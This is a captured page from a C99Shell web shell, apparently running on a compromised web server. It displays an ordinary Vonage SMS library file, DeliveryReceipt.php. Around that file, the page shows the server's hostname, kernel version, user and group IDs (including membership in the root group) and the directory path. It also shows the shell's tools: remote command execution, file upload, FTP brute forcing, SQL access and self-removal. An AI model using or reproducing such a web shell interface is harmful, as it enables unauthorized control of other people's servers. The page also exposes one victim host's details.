!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/vonage/client-core/src/SMS/Webhook/   drwxr-xr-x
Free 28.65 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DeliveryReceipt.php (6.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Vonage\SMS\Webhook;

use 
DateTimeImmutable;
use 
Exception;
use 
InvalidArgumentException;

use function 
array_key_exists;
use function 
filter_var;

class 
DeliveryReceipt
{
    
/**
     * Message was delivered successfully
     */
    
public const CODE_DELIVERED 0;

    
/**
     * Message was not delivered, and no reason could be determined
     */
    
public const CODE_UNKNOWN 1;

    
/**
     * Message was not delivered because handset was temporarily unavailable - retry
     */
    
public const CODE_ABSENT_TEMPORARY 2;

    
/**
     * The number is no longer active and should be removed from your database
     */
    
public const CODE_ABSENT_PERMANENT 3;

    
/**
     * This is a permanent error.
     * The number should be removed from your database and the user must
     * contact their network operator to remove the bar
     */
    
public const CODE_BARRED 4;

    
/**
     * There is an issue relating to portability of the number and you should contact the network operator to resolve it
     */
    
public const CODE_PORTABILITY_ERROR 5;

    
/**
     * The message has been blocked by a carrier's anti-spam filter
     */
    
public const CODE_SPAM_REJECTION 6;

    
/**
     * The handset was not available at the time the message was sent - retry
     */
    
public const CODE_HANDSET_BUSY 7;

    
/**
     * The message failed due to a network error - retry
     */
    
public const CODE_NETWORK_ERROR 8;

    
/**
     * The user has specifically requested not to receive messages from a specific service
     */
    
public const CODE_ILLEGAL_NUMBER 9;

    
/**
     * There is an error in a message parameter, e.g. wrong encoding flag
     */
    
public const CODE_ILLEGAL_MESSAGE 10;

    
/**
     * Vonage cannot find a suitable route to deliver the message
     * Contact support@Vonage.com
     */
    
public const CODE_UNROUTABLE 11;

    
/**
     * A route to the number cannot be found - confirm the recipient's number
     */
    
public const CODE_UNREACHABLE 12;

    
/**
     * The target cannot receive your message due to their age
     */
    
public const CODE_AGE_RESTRICTION 13;

    
/**
     * The recipient should ask their carrier to enable SMS on their plan
     */
    
public const CODE_CARRIER_BLOCK 14;

    
/**
     * The recipient is on a prepaid plan and does not have enough credit to receive your message
     */
    
public const CODE_INSUFFICIENT_FUNDS 15;

    
/**
     * Typically refers to an error in the route
     * Contact support@Vonage.com
     */
    
public const CODE_GENERAL_ERROR 99;

    
/**
     * Message has been accepted for delivery, but has not yet been delivered
     */
    
public const STATUS_ACCEPTED 'accepted';

    
/**
     * Message has been delivered
     */
    
public const STATUS_DELIVERED 'delivered';

    
/**
     * Message has been buffered for later delivery
     */
    
public const STATUS_BUFFERED 'buffered';

    
/**
     * Message was held at downstream carrier's retry scheme and could not be delivered within the expiry time
     */
    
public const STATUS_EXPIRED 'expired';

    
/**
     * Message not delivered
     */
    
public const STATUS_FAILED 'failed';

    
/**
     * Downstream carrier refuses to deliver message
     */
    
public const STATUS_REJECTED 'rejected';

    
/**
     * No useful information available
     */
    
public const STATUS_UNKNOWN 'unknown';

    public static 
$requiredFields = [
        
'err-code',
        
'message-timestamp',
        
'messageId',
        
'msisdn',
        
'price',
        
'status',
        
'to'
    
];

    
/**
     * @var int
     */
    
protected $errCode;

    
/**
     * @var DateTimeImmutable
     */
    
protected $messageTimestamp;

    
/**
     * @var string
     */
    
protected $messageId;

    
/**
     * @var string
     */
    
protected $msisdn;

    
/**
     * @var string
     */
    
protected $networkCode;

    
/**
     * @var string
     */
    
protected $price;

    
/**
     * @var string
     */
    
protected $scts;

    
/**
     * @var string
     */
    
protected $status;

    
/**
     * @var string
     */
    
protected $to;

    
/**
     * @var string
     */
    
protected $apiKey;

    
/**
     * @var mixed|string
     */
    
protected $clientRef;

    
/**
     * @param array<string, string> $data
     *
     * @throws Exception
     */
    
public function __construct(array $data)
    {
        foreach (static::
$requiredFields as $key) {
            if (!
array_key_exists($key$data)) {
                throw new 
InvalidArgumentException('Delivery Receipt missing required data `' $key '`');
            }
        }

        
$this->errCode filter_var($data['err-code'], FILTER_VALIDATE_INTFILTER_NULL_ON_FAILURE);
        
$this->messageTimestamp = new DateTimeImmutable($data['message-timestamp']);
        
$this->messageId $data['messageId'];
        
$this->msisdn $data['msisdn'];
        
$this->price $data['price'];
        
$this->status $data['status'];
        
$this->to $data['to'];
        
$this->apiKey $data['api-key'];

        if (isset(
$data['network-code'])) {
            
$this->networkCode $data['network-code'];
        }

        if (isset(
$data['client-ref'])) {
            
$this->clientRef $data['client-ref'];
        }

        if (isset(
$data['scts'])) {
            
$this->scts $data['scts'];
        }
    }

    public function 
getErrCode(): int
    
{
        return 
$this->errCode;
    }

    public function 
getMessageTimestamp(): DateTimeImmutable
    
{
        return 
$this->messageTimestamp;
    }

    public function 
getMessageId(): string
    
{
        return 
$this->messageId;
    }

    public function 
getMsisdn(): string
    
{
        return 
$this->msisdn;
    }

    public function 
getNetworkCode(): string
    
{
        return 
$this->networkCode;
    }

    public function 
getPrice(): string
    
{
        return 
$this->price;
    }

    public function 
getScts(): ?string
    
{
        return 
$this->scts;
    }

    public function 
getStatus(): string
    
{
        return 
$this->status;
    }

    public function 
getTo(): string
    
{
        return 
$this->to;
    }

    public function 
getApiKey(): string
    
{
        return 
$this->apiKey;
    }

    public function 
getClientRef(): ?string
    
{
        return 
$this->clientRef ?? null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--